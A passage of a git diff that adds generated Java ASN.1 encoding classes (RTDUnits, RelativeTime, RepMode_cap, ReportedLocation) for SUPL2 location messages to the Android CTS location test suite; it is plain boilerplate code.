+ return "rTDAccuracyType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("RTD = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RTDUnits.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RTDUnits.java
new file mode 100755
index 0000000..0adc4d2
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RTDUnits.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class RTDUnits extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ microseconds(0),
+ hundredsofnanoseconds(1),
+ tensofnanoseconds(2),
+ nanoseconds(3),
+ tenthsofnanoseconds(4),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_RTDUnits
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RTDUnits() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RTDUnits;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RTDUnits != null) {
+ return ImmutableList.of(TAG_RTDUnits);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new RTDUnits from encoded stream.
+ */
+ public static RTDUnits fromPerUnaligned(byte[] encodedBytes) {
+ RTDUnits result = new RTDUnits();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RTDUnits from encoded stream.
+ */
+ public static RTDUnits fromPerAligned(byte[] encodedBytes) {
+ RTDUnits result = new RTDUnits();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "RTDUnits = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RelativeTime.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RelativeTime.java
new file mode 100755
index 0000000..5a545d5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RelativeTime.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class RelativeTime extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_RelativeTime
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RelativeTime() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RelativeTime;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RelativeTime != null) {
+ return ImmutableList.of(TAG_RelativeTime);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new RelativeTime from encoded stream.
+ */
+ public static RelativeTime fromPerUnaligned(byte[] encodedBytes) {
+ RelativeTime result = new RelativeTime();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RelativeTime from encoded stream.
+ */
+ public static RelativeTime fromPerAligned(byte[] encodedBytes) {
+ RelativeTime result = new RelativeTime();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "RelativeTime = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RepMode_cap.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RepMode_cap.java
new file mode 100755
index 0000000..99b74a1
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/RepMode_cap.java
@@ -0,0 +1,582 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class RepMode_cap extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_RepMode_cap
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RepMode_cap() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RepMode_cap;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RepMode_cap != null) {
+ return ImmutableList.of(TAG_RepMode_cap);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new RepMode_cap from encoded stream.
+ */
+ public static RepMode_cap fromPerUnaligned(byte[] encodedBytes) {
+ RepMode_cap result = new RepMode_cap();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RepMode_cap from encoded stream.
+ */
+ public static RepMode_cap fromPerAligned(byte[] encodedBytes) {
+ RepMode_cap result = new RepMode_cap();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private RepMode_cap.realtimeType realtime_;
+ public RepMode_cap.realtimeType getRealtime() {
+ return realtime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RepMode_cap.realtimeType
+ */
+ public void setRealtime(Asn1Object value) {
+ this.realtime_ = (RepMode_cap.realtimeType) value;
+ }
+ public RepMode_cap.realtimeType setRealtimeToNewInstance() {
+ realtime_ = new RepMode_cap.realtimeType();
+ return realtime_;
+ }
+
+ private RepMode_cap.quasirealtimeType quasirealtime_;
+ public RepMode_cap.quasirealtimeType getQuasirealtime() {
+ return quasirealtime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RepMode_cap.quasirealtimeType
+ */
+ public void setQuasirealtime(Asn1Object value) {
+ this.quasirealtime_ = (RepMode_cap.quasirealtimeType) value;
+ }
+ public RepMode_cap.quasirealtimeType setQuasirealtimeToNewInstance() {
+ quasirealtime_ = new RepMode_cap.quasirealtimeType();
+ return quasirealtime_;
+ }
+
+ private RepMode_cap.batchType batch_;
+ public RepMode_cap.batchType getBatch() {
+ return batch_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RepMode_cap.batchType
+ */
+ public void setBatch(Asn1Object value) {
+ this.batch_ = (RepMode_cap.batchType) value;
+ }
+ public RepMode_cap.batchType setBatchToNewInstance() {
+ batch_ = new RepMode_cap.batchType();
+ return batch_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRealtime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRealtime();
+ }
+
+ @Override public void setToNewInstance() {
+ setRealtimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RepMode_cap.realtimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "realtime : "
+ + getRealtime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getQuasirealtime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getQuasirealtime();
+ }
+
+ @Override public void setToNewInstance() {
+ setQuasirealtimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RepMode_cap.quasirealtimeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "quasirealtime : "
+ + getQuasirealtime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getBatch() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBatch();
+ }
+
+ @Override public void setToNewInstance() {
+ setBatchToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RepMode_cap.batchType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "batch : "
+ + getBatch().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class realtimeType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_realtimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public realtimeType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_realtimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_realtimeType != null) {
+ return ImmutableList.of(TAG_realtimeType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new realtimeType from encoded stream.
+ */
+ public static realtimeType fromPerUnaligned(byte[] encodedBytes) {
+ realtimeType result = new realtimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new realtimeType from encoded stream.
+ */
+ public static realtimeType fromPerAligned(byte[] encodedBytes) {
+ realtimeType result = new realtimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "realtimeType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class quasirealtimeType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_quasirealtimeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public quasirealtimeType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_quasirealtimeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_quasirealtimeType != null) {
+ return ImmutableList.of(TAG_quasirealtimeType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new quasirealtimeType from encoded stream.
+ */
+ public static quasirealtimeType fromPerUnaligned(byte[] encodedBytes) {
+ quasirealtimeType result = new quasirealtimeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new quasirealtimeType from encoded stream.
+ */
+ public static quasirealtimeType fromPerAligned(byte[] encodedBytes) {
+ quasirealtimeType result = new quasirealtimeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "quasirealtimeType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class batchType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_batchType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public batchType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_batchType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_batchType != null) {
+ return ImmutableList.of(TAG_batchType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new batchType from encoded stream.
+ */
+ public static batchType fromPerUnaligned(byte[] encodedBytes) {
+ batchType result = new batchType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new batchType from encoded stream.
+ */
+ public static batchType fromPerAligned(byte[] encodedBytes) {
+ batchType result = new batchType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "batchType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("RepMode_cap = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ReportedLocation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ReportedLocation.java
new file mode 100755
index 0000000..94a1dbd
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ReportedLocation.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ReportedLocation extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ReportedLocation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ReportedLocation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ReportedLocation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ReportedLocation != null) {
+ return ImmutableList.of(TAG_ReportedLocation);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ReportedLocation from encoded stream.
+ */
+ public static ReportedLocation fromPerUnaligned(byte[] encodedBytes) {
+ ReportedLocation result = new ReportedLocation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ReportedLocation from encoded stream.
+ */
+ public static ReportedLocation fromPerAligned(byte[] encodedBytes) {
+ ReportedLocation result = new ReportedLocation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private LocationEncodingDescriptor locationEncodingDescriptor_;
+ public LocationEncodingDescriptor getLocationEncodingDescriptor() {
+ return locationEncodingDescriptor_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LocationEncodingDescriptor
+ */
+ public void setLocationEncodingDescriptor(Asn1Object value) {
+ this.locationEncodingDescriptor_ = (LocationEncodingDescriptor) value;
+ }
+ public LocationEncodingDescriptor setLocationEncodingDescriptorToNewInstance() {
+ locationEncodingDescriptor_ = new LocationEncodingDescriptor();
+ return locationEncodingDescriptor_;
+ }
+
+ private LocationData locationData_;
+ public LocationData getLocationData() {
+ return locationData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a LocationData
+ */
+ public void setLocationData(Asn1Object value) {
+ this.locationData_ = (LocationData) value;
+ }
+ public LocationData setLocationDataToNewInstance() {
+ locationData_ = new LocationData();
+ return locationData_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getLocationEncodingDescriptor() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLocationEncodingDescriptor();
+ }
+
+ @Override public void setToNewInstance() {
+ setLocationEncodingDescriptorToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LocationEncodingDescriptor.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "locationEncodingDescriptor : "
+ + getLocationEncodingDescriptor().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getLocationData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getLocationData();
+ }
+
+ @Override public void setToNewInstance() {
+ setLocationDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? LocationData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "locationData : "
+ + getLocationData().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ReportedLocation = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ReportingCap.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ReportingCap.java
new file mode 100755
index 0000000..40969e4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ReportingCap.java
@@ -0,0 +1,567 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
